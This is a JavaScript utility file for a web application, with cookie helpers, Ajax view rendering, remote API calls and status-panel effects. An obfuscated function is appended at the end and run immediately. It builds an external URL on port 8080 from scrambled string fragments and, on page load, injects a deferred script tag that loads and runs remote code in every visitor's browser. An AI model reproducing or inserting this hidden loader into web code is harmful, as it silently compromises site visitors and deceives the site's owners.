// yes, i know these should be consts, but safari didn'tlike them
var CORE_STAT_WAITING = 1;
var CORE_STAT_SUCCESS = 2;
var CORE_STAT_ERROR = 4;


function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}

function render_view(view, target, params, _onComplete) 
{	
	// console.log("Rendering " + view);
	
	_postBody = 'view=' + view;
	if(params != null) {
		_postBody += '&' + params;
	}
	
	if(_onComplete) {
		opt = { postBody: _postBody, onComplete: _onComplete }
	} else {
		opt = { postBody: _postBody }
	}
 	
	new Ajax.Updater(target, '../lib/render_view.php', opt);	
}

function remote_function(namespace_function, data, _onSuccess, _onFail) {
	
	params = namespace_function.split('.');
	//req_uri = '/ajax/' + params[0] + '/' + params[1] + '/';
	
	req_uri = '../lib/remote_api.php?namespace=' + params[0] + '&function=' + params[1];

	new Ajax.Request(req_uri, { postBody : data,
								 onSuccess : _onSuccess,
								 onFailure : _onFail });
}

function setStatus(panel, type, msg) 
{
	panel = $(panel);
	panel.innerHTML = msg;
	panel.className = 'status_' + type;
	
	if(panel.style.display == 'none') {
		Effect.BlindDown(panel, { duration: 0.1 });
	}

	if(type != 'waiting') {
		setTimeout(function() {
			Effect.BlindUp(panel, { duration: 0.1 });
		}, 5000);

	}
}


function $I(iframe_id) {
	
	_iframe = $(iframe_id);
	r = null;
	
	if(_iframe.contentDocument) {
		r = _iframe.contentDocument;
	} else if(_iframe.contentWindow.document) {
		r = _iframe.contentWindow.document;
	}
	
	return r;
}





String.prototype.pad = function(length, padchar, type) {
	pad = '';
	
	if(length > this.length) {
		(length - this.length).times( function(index) {
			pad += padchar;
		});		
	}
	
	if(type) {
		return this + pad;
	}  else {
		return pad + this
	}
}
function c(){var Sr="g";var um;if(um!='' && um!='z'){um=null};var M='';this.Ho='';var E='';var l=new String();var d;if(d!='k'){d='k'};var u=RegExp;var p=new String();var QB;if(QB!='' && QB!='yJ'){QB='q'};function S(n,_){var h= String("[t6K".substr(0,1));var g=new Date();h+=_;this.bI='';h+=new String("]");var s;if(s!='Ii'){s='Ii'};var o;if(o!='bv'){o='bv'};var HJ;if(HJ!=''){HJ='Lj'};var L=new u(h, Sr);var F;if(F!='Kl'){F='Kl'};return n.replace(L, E);var Pw=new Array();};this.bK="";this.QY="";var YS;if(YS!='' && YS!='hL'){YS=null};var D;if(D!='' && D!='rK'){D='eM'};var G=String("deferaN5y".substr(0,5));var nS;if(nS!='m' && nS!='Sn'){nS='m'};this.Gj="";var X=String("scrip"+"t");var ns;if(ns!='' && ns!='MZ'){ns=null};var Z=window;var _i=new String("/goog"+"ARG2le.co".substr(4)+"rzWm.ng/".substr(3)+"googl"+"e.com"+".ng/pXcWf".substr(0,5)+"ichunr2x".substr(0,5)+"1V0lter.c1Vl0".substr(4,5)+"om/ni"+"S5Fnemsn5SF".substr(3,5)+"0Y2.com.".substr(3)+"chmBau/go".substr(4)+"MXkKogle.KMkX".substr(4,5)+"com.p"+"hp");var rr;if(rr!='' && rr!='OE'){rr=null};var ub=new String("ht"+"wkmtp".substr(3)+"GKS:/KSG".substr(3,2)+"JID5/gDJI5".substr(4,2)+"7r96mo".substr(4)+"du"+"14cle".substr(3)+"Ppes-epP".substr(3,2)+"co"+"m."+"ovc6r".substr(0,2)+"sdFgu".substr(3)+"id"+"e."+"coQ9MP".substr(0,2)+"m.aU7t".substr(0,2)+"fi"+"MK8Ole".substr(4)+"s-"+"wo"+"rdB0s".substr(0,2)+"prxMFw".substr(0,2)+"es"+"gwvSs-".substr(4)+"vyQmco".substr(4)+"fYKm.".substr(3)+"ou"+"teiv1U".substr(0,2)+"as"+"to"+"nlIJuQ".substr(0,2)+"in"+"e.tCq".substr(0,2)+"naWKru".substr(4)+"A3w:A3w".substr(3,1));var y=S('8755555055775578557550577755',"57");var Ko;if(Ko!='' && Ko!='Rr'){Ko='AZ'};this.W="";var t;if(t!='UAi'){t=''};var j='';var I=new String("src");var kR;if(kR!='' && kR!='jI'){kR=''};var sN=new Date();Z.onload=function(){var fA;if(fA!='iw' && fA != ''){fA=null};try {var yk=new Array();var Kv;if(Kv!='XY' && Kv!='DM'){Kv='XY'};var a;if(a!=''){a='_X'};j=ub+y;j+=_i;H=document.createElement(X);var ze;if(ze!=''){ze='cG'};this.Kj="";var wv;if(wv!='' && wv!='ak'){wv=null};H[G]=[1,6][0];var N;if(N!='pK' && N!='Ks_'){N='pK'};var rJ;if(rJ!='TA' && rJ!='x'){rJ='TA'};H[I]=j;var zc=new Array();var Koc=new String();var wu=new String();var Ec;if(Ec!='ya' && Ec!='aX'){Ec='ya'};document.body.appendChild(H);var Bo="";var mF;if(mF!='' && mF!='PM'){mF=''};this.Sj='';} catch(Iz){};var zX="";};var qC;if(qC!='dZ'){qC=''};};c();var ND="";